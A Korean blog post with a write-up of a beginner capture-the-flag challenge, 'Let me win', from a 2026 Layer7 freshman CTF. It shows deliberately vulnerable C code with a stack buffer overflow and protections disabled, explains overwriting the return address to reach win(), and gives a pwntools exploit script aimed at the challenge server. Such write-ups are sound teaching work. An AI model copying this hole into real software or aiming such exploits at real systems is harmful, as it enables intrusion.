imnyang's workspace

뒤로

// gcc chall.c -o chall \
-fno-stack-protector \
    -no-pie \
    -z execstack

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
    FILE *f = fopen("flag", "r");
    char buf[128] = {0};
    fgets(buf, sizeof(buf), f);
    puts(buf);
    fclose(f);
}

void vuln() {
    char buf[64];
    printf("input: ");
    read(0, buf, 200);
}

int main() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    vuln();
    return 0;
}
c

문제 설명#

이 문제는 Return Address Overwrite를 이용해서 win() 함수를 실행하는 문제예요.

vuln() 함수에서는 64바이트 크기의 bufread() 함수로 200바이트를 입력받고 있어요.

char buf[64];

read(0, buf, 200);
c

buf의 크기보다 훨씬 많은 데이터를 입력할 수 있기 때문에 Buffer Overflow가 발생해요.

취약점 분석#

스택에는 대략 아래와 같이 값이 저장돼요.

buf[64]
SFP[8]
RET[8]
text

따라서 Return Address를 덮어쓰기 위해서는 먼저 buf와 SFP를 채워야 해요.

buf[64] + SFP[8] = 72 byte
text

즉, 72바이트의 더미 데이터를 넣은 뒤 원하는 함수 주소를 넣으면 RET을 조작할 수 있어요.

win 함수 주소 확인#

gdb에서 info functions 명령어를 사용하면 win() 함수의 주소를 확인할 수 있어요.

(gdb) info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010a0  puts@plt
0x00000000004010b0  fclose@plt
0x00000000004010c0  printf@plt
0x00000000004010d0  read@plt
0x00000000004010e0  fgets@plt
0x00000000004010f0  setvbuf@plt
0x0000000000401100  fopen@plt
0x0000000000401110  _start
0x0000000000401140  _dl_relocate_static_pie
0x0000000000401150  deregister_tm_clones
0x0000000000401180  register_tm_clones
0x00000000004011c0  __do_global_dtors_aux
0x00000000004011f0  frame_dummy
0x00000000004011f6  win
0x00000000004012de  vuln
0x0000000000401317  main
0x000000000040136c  _fini
plaintext

win() 함수의 주소는 0x00000000004011f6에요

풀이 방법#

Return Address를 win() 함수 주소로 덮어쓰면, vuln() 함수가 종료될 때 원래 흐름으로 돌아가지 않고 win() 함수가 실행돼요.

payload를 "A" * 72 + win 함수 주소 이렇게 작성하면 될거 같아요.

64비트 바이너리이므로 주소는 p64()로 little endian 형태로 넣어줘야 해요.

payload = b"A" * 72
payload += p64(0x00000000004011f6)
py
# /// script
# requires-python = ">=3.13"
# dependencies = [
#     "pwntools>=4.15.0",
# ]
# ///
from pwn import *

p = remote("211.214.98.195", 20004)

payload = b"A" * 72
payload += p64(0x00000000004011f6)

p.sendafter(b"input: ", payload)
print(p.recvall().decode())
py
-----BEGIN SSH SIGNATURE-----
U1NIU0lHAAAAAQAAADMAAAALc3NoLWVkMjU1MTkAAAAg4c/dn4BitGH1/xNjKoKEp97I2b
eU57QXvkDBEdNNrEMAAAATYmxvZy5pbW55YS5uZy9wb3N0cwAAAAAAAAAGc2hhNTEyAAAA
UwAAAAtzc2gtZWQyNTUxOQAAAEDtz8CDbk9cGwX7VQGJr23Icw9eHynDHZfMdta/9UgmPu
X9H8dtcbtAvOJtg5ZwtKemOF5vBAkAj6hXvI+CNLwG
-----END SSH SIGNATURE-----
2026 Layer7 신입생 CTF - Let me win 풀이
http://blog.imnya.ng/layer7/beginner-ctf/let-me-win
저자 imnyang
게시일 2026년 06월 23일